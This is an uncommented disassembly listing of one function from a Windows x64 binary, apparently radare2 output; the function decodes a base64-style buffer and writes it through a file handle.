cmp qword [rsp + 0xb0], rsi
cmova r8, qword [rsp + 0x98]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rax, qword [rsp + 0xa8]
lea rax, [rax + rax*2]
add rax, rax
shr rax, 3
mov qword [rsp + 0x60], rax
lea ecx, [rax + 1]
mov qword [rsp + 0x68], rcx
mov eax, 8
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14000d3d8
mov qword [rsp + 0x48], rax
mov r8, qword [rsp + 0x68]
xor edx, edx
mov rcx, rax
call fcn.140025b00
mov rcx, qword [rsp + 0x48]
mov r8, rcx
mov r9d, edi
movsxd rax, dword [rsp + 0xa8]
test rax, rax
jle 0x140008bfb
lea r10, [rbx + 2]
lea r11, [rax - 1]
shr r11, 2
inc r11
lea r9d, [r11*4]
lea rcx, str.________________________________________________456789:_________
movsx rax, byte [r10 - 2]
mov dl, byte [rax + rcx]
shl dl, 2
movsx rax, byte [r10 - 1]
mov cl, byte [rax + rcx]
shr cl, 4
or dl, cl
mov byte [r8], dl
add r8, r15
movsx rax, byte [r10]
lea rcx, str.________________________________________________456789:_________
mov dl, byte [rax + rcx]
shr dl, 2
movsx rax, byte [r10 - 1]
mov cl, byte [rax + rcx]
shl cl, 4
or dl, cl
mov byte [r8], dl
add r8, r15
movsx rax, byte [r10]
lea rdx, str.________________________________________________456789:_________
mov cl, byte [rax + rdx]
shl cl, 6
movsx rax, byte [r10 + 1]
or cl, byte [rax + rdx]
mov byte [r8], cl
add r8, r15
lea r10, [r10 + 4]
sub r11, r15
lea rcx, str.________________________________________________456789:_________
jne 0x140008b85
mov rcx, qword [rsp + 0x48]
movsxd rax, r9d
cmp byte [rax + rbx - 2], 0x3d
jne 0x140008c0d
mov byte [r8], dil
sub r8, r15
jmp 0x140008c14
cmp byte [rax + rbx - 1], 0x3d
jne 0x140008c1a
mov byte [r8], dil
sub r8, r15
mov byte [r8], dil
mov r8d, dword [rsp + 0x60]
mov rdx, rcx
mov rcx, qword [rsp + 0x40]
call fcn.140005688
mov ebx, eax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, r15
mov rcx, qword [rsp + 0x50]
call fcn.14000d128
mov edx, 8
mov rcx, qword [rsp + 0x48]
call fcn.14000d128
test ebx, ebx
jne 0x140008c88
lea r8, [rsp + 0x78]
cmp qword [rsp + 0x90], rsi
cmova r8, qword [rsp + 0x78]
lea rdx, [0x140030f98]
mov rcx, r13
call fcn.1400065bc
mov r15d, eax
jmp 0x140008cc3
mov ebx, 0xd
mov r8d, 0xa
lea rdx, [rsp + 0x390]
mov ecx, ebx
call fcn.1400181a0
lea r8, [rsp + 0x78]
cmp qword [rsp + 0x90], rsi
cmova r8, qword [rsp + 0x78]
lea rdx, [rsp + 0x390]
mov rcx, r13
call fcn.1400065bc
mov r15d, eax
mov rdx, qword [rsp + 0xb0]
cmp rdx, rsi
jbe 0x140008d06
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, r12
jb 0x140008d01
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008fd8
call fcn.14000d128
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0xb0], rsi
mov word [rsp + 0x98], di
lea rcx, [rsp + 0x120]
call fcn.140003af4
jmp 0x140008d9c
mov r15d, 0xa
cmp eax, r15d
jne 0x140008d9c
lea rcx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], rsi
cmova rcx, qword [rsp + 0xd8]
call fcn.140017918
mov ecx, eax
call fcn.140005634
lea r8, [rsp + 0x78]
cmp qword [rsp + 0x90], rsi
cmova r8, qword [rsp + 0x78]
lea rdx, [0x140030f98]
mov rcx, r13
call fcn.1400065bc
mov r15d, 0x3e7
jmp 0x140008d9c
mov rdx, qword [rsp + 0xd0]
cmp rdx, rsi
jbe 0x140008de0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, r12
jb 0x140008dda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008fde
call fcn.14000d128
nop
jmp 0x140008df7
mov rdx, qword [rsp + 0x90]
cmp rdx, rsi
jbe 0x140008e37
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, r12
jb 0x140008e32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008fe4
call fcn.14000d128
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x90], rsi
mov word [rsp + 0x78], di
mov rdx, qword [rsp + 0x110]
cmp rdx, rsi
jbe 0x140008e8f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, r12
jb 0x140008e8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008fea
call fcn.14000d128
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], rsi
mov word [rsp + 0xf8], di
mov rdx, qword [rsp + 0xf0]
cmp rdx, rsi
jbe 0x140008eea
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, r12
jb 0x140008ee5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008ff0
call fcn.14000d128
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0xf0], rsi
mov word [rsp + 0xd8], di
mov rcx, r14
call fcn.14000276c
mov eax, r15d
mov rcx, qword [rsp + 0x3c8]
xor rcx, rsp
call fcn.14000d100
lea r11, [rsp + 0x3d0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.140013dec
nop
call fcn.14000be40
call fcn.14000be40
call fcn.14000be40
call fcn.14000be40
call fcn.140013dec
nop
call fcn.140013dec
nop
call fcn.140013dec
nop
call fcn.140013dec
nop
call fcn.140013dec
int3
call fcn.140013dec
int3
call fcn.140013dec
int3
call fcn.140013dec
int3
lea rcx, [rsp + 0x78]
call fcn.14000272c
mov r8, rax
lea rdx, [0x140030f98]
mov rcx, r13
call fcn.1400065bc
xor ecx, ecx
call fcn.140014238
int3
lea rcx, [rsp + 0x78]
call fcn.14000272c
mov r8, rax
lea rdx, [0x140030f98]
mov rcx, r13
call fcn.1400065bc
xor ecx, ecx
call fcn.140014238
nop
call fcn.140013dec
nop
call fcn.140013dec
nop
call fcn.140013dec
nop
call fcn.140013dec
nop
call fcn.140013dec
nop
call fcn.140013dec
nop
call fcn.140013dec
int3